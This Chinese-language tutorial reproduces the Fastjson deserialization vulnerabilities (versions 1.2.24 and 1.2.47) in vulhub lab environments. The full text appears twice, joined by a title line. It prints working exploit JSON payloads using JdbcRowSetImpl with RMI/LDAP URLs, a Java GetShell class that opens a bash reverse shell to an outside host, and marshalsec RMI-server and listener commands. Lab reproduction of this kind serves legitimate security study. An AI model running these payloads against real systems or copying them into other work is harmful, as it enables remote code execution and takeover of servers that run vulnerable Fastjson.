一、基础知识Fastjson介绍Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库支持将 Java Bean 序列化为JSON字符串也可以从 JSON 字符串反序列化到 Java Bean。该库凭借其出色的解析性能和简洁的 API 设计在国内 Java 生态系统中占据主导地位被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景是国内 Java 开发者最常用的 JSON 处理组件之一。序列化/反序列化原理Fastjson 漏洞的本质是一个 java 的反序列化漏洞由于引进了 AutoType 功能Fastjson 在对 json 字符串反序列化的时候会读取到 type 的内容将 json 内容反序列化为 java 对象并调用这个类的 setter 方法。那么为啥要引进 Auto Type 功能呢Fastjson 在序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制而是自定义了一套机制。其实对于 JSON 框架来说想要把一个 Java 对象转换成字符串可以有两种选择基于 setter/getter基于属性AutoType基于 setter/getter 会带来什么问题呢下面举个例子假设有如下两个类classAppleimplementsFruit{privateBig_Decimalprice;//省略 setter/getter、toString等}classiphoneimplementsFruit{privateBig_Decimalprice;//省略 setter/getter、toString等}实例化对象之后假设苹果对象的 price 为0.5Apple类对象序列化为 json 格式后为{Fruit:{price:0.5}}假设 iphone 对象的 price 为5000序列化为 json 格式后为{Fruit:{price:5000}}当一个类只有一个接口的时候将这个类的对象序列化的时候就会将子类抹去apple/iphone只保留接口的类型(Fruit)最后导致反序列化时无法得到原始类型。本例中将两个 json 再反序列化生成 java 对象的时候无法区分原始类是 apple 还是 iphone。为了解决上述问题fastjson 引入了基于属性AutoType即在序列化的时候先把原始类型记录下来。使用 type 的键记录原始类型在本例中引入 AutoType 后Apple 类对象序列化为 json 格式后为{fruit:{type:com.hollis.lab.fastjson.test.Apple,price:0.5}}引入AutoType后iphone类对象序列化为json格式后为{fruit:{type:com.hollis.lab.fastjson.test.iphone,price:5000}}这样在反序列化的时候就可以区分原始的类了。反序列化漏洞原理使用 AutoType 功能进行序列化的 JSON 字符会带有一个type来标记其字符的原始类型在反序列化的时候会读取这个type来试图把JSON内容反序列化到对象并且会调用这个库的 setter 或者 getter 方法。然而type的类有可能被恶意构造只需要合理构造一个JSON使用type指定一个想要的攻击类库就可以实现攻击。常见的有 sun 官方提供的一个类com.sun.rowset.JdbcRowSetImpl其中有个 dataSourceName 方法支持传入一个 rmi 的源只要解析其中的 url 就会支持远程调用因此整个漏洞复现的原理过程就是攻击者访问存在 fastjson 漏洞的目标靶机网站通过 burpsuite 抓包改包以 json 格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。存在漏洞的靶机对 json 反序列化时候会加载执行我们构造的恶意信息访问rmi服务器靶机服务器就会向 rmi 服务器请求待执行的命令。也就是靶机服务器问 rmi 服务器需要执行什么命令rmi 服务器请求加载远程机器的 class这个远程机器是我们搭建好的恶意站点提前将漏洞利用的代码编译得到 .class 文件并上传至恶意站点得到攻击者构造好的命令ping dnslog 或者创建文件或者反弹 shell 啥的rmi 将远程加载得到的 class恶意代码作为响应返回给靶机服务器。靶机服务器执行了恶意代码被攻击者成功利用。二、Fastjson指纹特征1.2.24版本payload{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://dnslog/,autoCommit:true}}1.2.47版本payload{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://dnslog/,autoCommit:true}}三、漏洞复现通过 vulhub 靶场进行漏洞复现Fastjson 1.2.24 反序列化漏洞CVE-2017-18349漏洞详情fastjson在解析json的过程中支持使用 AutoType 来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。环境搭建:靶场路径vulhub/fastjson/1.2.24-rce启动容器dockercompose up-d环境运行后访问 http://your-ip:8090 即可看到JSON格式的输出。复现过程:因为目标环境是 Java 8u102没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链借助JNDI注入来执行命令。反弹shell// javac GetShell.javaimportjava.lang.Runtime;importjava.lang.Process;publicclassGetShell{static{try{RuntimertRuntime.getRuntime();String[]commands{/bin/bash,-c,bash -i /dev/tcp/192.168.111.129/7777 01};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}编译javac GetShell.java编译完成后会发现当前目录下生成了GetShell.class文件特别注意要保证 java 和 javac 的版本一致且都是1.8的版本高版本的jdk把远程调用修复了。把编译好的 class 文件传到外网系统中这里传到 kali 服务器用 python 开启一个 web 服务python3-mhttp.server8888访问看看接下来使用 marshalsec 项目需要maven环境编译或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 启动RMI服务。监听 9999 端口并加载远程类TouchFile.classip为上面开启的 http 服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://192.168.111.129:8888/#GetShell9999这里运行服务的最好和编译漏洞类的版本一致且为1.8不然可能不成功。nc 监听 7777 端口我们 GetShell.java 里面编写的就是反弹 shell 到 192.168.111.129 的 7777 端口访问我们的靶场环境抓包修改提交模式为 POST 和添加Content-Type: application/json发送payload{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.111.1:9999/#GetShell,autoCommit:true}}修改 rmi 服务器为上面开启的服务ip发包可以看到 shell 反弹过来了Fastjson 1.2.47远程命令执行漏洞 CVE-2017-18349漏洞详情fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月fastjson 又被爆出在 fastjson 1.2.47 的版本中攻击者可以利用特殊构造的 json 字符串绕过白名单检测成功执行任意命令。环境搭建:靶场路径vulhub/fastjson/1.2.47-rce启动容器dockercompose up-d环境运行后访问 http://your-ip:8090 即可看到JSON格式的输出。复现过程:目标环境是 openjdk:8u102这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制我们可以简单利用 RMI 进行命令执行。Fastjson 1.2.47 和上面的 Fastjson 1.2.24 利用方式基本相同就是 payload 格式变了点。其它步骤都一样抓包设置 payload{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.111.1:9999/#GetShell,autoCommit:true}}成功反弹shell
Fastjson漏洞分析与复现
一、基础知识Fastjson介绍Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库支持将 Java Bean 序列化为JSON字符串也可以从 JSON 字符串反序列化到 Java Bean。该库凭借其出色的解析性能和简洁的 API 设计在国内 Java 生态系统中占据主导地位被广泛应用于企业级后端服务、微服务网关、数据接口层、缓存序列化以及日志处理等核心生产场景是国内 Java 开发者最常用的 JSON 处理组件之一。序列化/反序列化原理Fastjson 漏洞的本质是一个 java 的反序列化漏洞由于引进了 AutoType 功能Fastjson 在对 json 字符串反序列化的时候会读取到 type 的内容将 json 内容反序列化为 java 对象并调用这个类的 setter 方法。那么为啥要引进 Auto Type 功能呢Fastjson 在序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制而是自定义了一套机制。其实对于 JSON 框架来说想要把一个 Java 对象转换成字符串可以有两种选择基于 setter/getter基于属性AutoType基于 setter/getter 会带来什么问题呢下面举个例子假设有如下两个类classAppleimplementsFruit{privateBig_Decimalprice;//省略 setter/getter、toString等}classiphoneimplementsFruit{privateBig_Decimalprice;//省略 setter/getter、toString等}实例化对象之后假设苹果对象的 price 为0.5Apple类对象序列化为 json 格式后为{Fruit:{price:0.5}}假设 iphone 对象的 price 为5000序列化为 json 格式后为{Fruit:{price:5000}}当一个类只有一个接口的时候将这个类的对象序列化的时候就会将子类抹去apple/iphone只保留接口的类型(Fruit)最后导致反序列化时无法得到原始类型。本例中将两个 json 再反序列化生成 java 对象的时候无法区分原始类是 apple 还是 iphone。为了解决上述问题fastjson 引入了基于属性AutoType即在序列化的时候先把原始类型记录下来。使用 type 的键记录原始类型在本例中引入 AutoType 后Apple 类对象序列化为 json 格式后为{fruit:{type:com.hollis.lab.fastjson.test.Apple,price:0.5}}引入AutoType后iphone类对象序列化为json格式后为{fruit:{type:com.hollis.lab.fastjson.test.iphone,price:5000}}这样在反序列化的时候就可以区分原始的类了。反序列化漏洞原理使用 AutoType 功能进行序列化的 JSON 字符会带有一个type来标记其字符的原始类型在反序列化的时候会读取这个type来试图把JSON内容反序列化到对象并且会调用这个库的 setter 或者 getter 方法。然而type的类有可能被恶意构造只需要合理构造一个JSON使用type指定一个想要的攻击类库就可以实现攻击。常见的有 sun 官方提供的一个类com.sun.rowset.JdbcRowSetImpl其中有个 dataSourceName 方法支持传入一个 rmi 的源只要解析其中的 url 就会支持远程调用因此整个漏洞复现的原理过程就是攻击者访问存在 fastjson 漏洞的目标靶机网站通过 burpsuite 抓包改包以 json 格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。存在漏洞的靶机对 json 反序列化时候会加载执行我们构造的恶意信息访问rmi服务器靶机服务器就会向 rmi 服务器请求待执行的命令。也就是靶机服务器问 rmi 服务器需要执行什么命令rmi 服务器请求加载远程机器的 class这个远程机器是我们搭建好的恶意站点提前将漏洞利用的代码编译得到 .class 文件并上传至恶意站点得到攻击者构造好的命令ping dnslog 或者创建文件或者反弹 shell 啥的rmi 将远程加载得到的 class恶意代码作为响应返回给靶机服务器。靶机服务器执行了恶意代码被攻击者成功利用。二、Fastjson指纹特征1.2.24版本payload{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://dnslog/,autoCommit:true}}1.2.47版本payload{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://dnslog/,autoCommit:true}}三、漏洞复现通过 vulhub 靶场进行漏洞复现Fastjson 1.2.24 反序列化漏洞CVE-2017-18349漏洞详情fastjson在解析json的过程中支持使用 AutoType 来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。环境搭建:靶场路径vulhub/fastjson/1.2.24-rce启动容器dockercompose up-d环境运行后访问 http://your-ip:8090 即可看到JSON格式的输出。复现过程:因为目标环境是 Java 8u102没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链借助JNDI注入来执行命令。反弹shell// javac GetShell.javaimportjava.lang.Runtime;importjava.lang.Process;publicclassGetShell{static{try{RuntimertRuntime.getRuntime();String[]commands{/bin/bash,-c,bash -i /dev/tcp/192.168.111.129/7777 01};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}编译javac GetShell.java编译完成后会发现当前目录下生成了GetShell.class文件特别注意要保证 java 和 javac 的版本一致且都是1.8的版本高版本的jdk把远程调用修复了。把编译好的 class 文件传到外网系统中这里传到 kali 服务器用 python 开启一个 web 服务python3-mhttp.server8888访问看看接下来使用 marshalsec 项目需要maven环境编译或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 启动RMI服务。监听 9999 端口并加载远程类TouchFile.classip为上面开启的 http 服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://192.168.111.129:8888/#GetShell9999这里运行服务的最好和编译漏洞类的版本一致且为1.8不然可能不成功。nc 监听 7777 端口我们 GetShell.java 里面编写的就是反弹 shell 到 192.168.111.129 的 7777 端口访问我们的靶场环境抓包修改提交模式为 POST 和添加Content-Type: application/json发送payload{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.111.1:9999/#GetShell,autoCommit:true}}修改 rmi 服务器为上面开启的服务ip发包可以看到 shell 反弹过来了Fastjson 1.2.47远程命令执行漏洞 CVE-2017-18349漏洞详情fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月fastjson 又被爆出在 fastjson 1.2.47 的版本中攻击者可以利用特殊构造的 json 字符串绕过白名单检测成功执行任意命令。环境搭建:靶场路径vulhub/fastjson/1.2.47-rce启动容器dockercompose up-d环境运行后访问 http://your-ip:8090 即可看到JSON格式的输出。复现过程:目标环境是 openjdk:8u102这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制我们可以简单利用 RMI 进行命令执行。Fastjson 1.2.47 和上面的 Fastjson 1.2.24 利用方式基本相同就是 payload 格式变了点。其它步骤都一样抓包设置 payload{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://192.168.111.1:9999/#GetShell,autoCommit:true}}成功反弹shell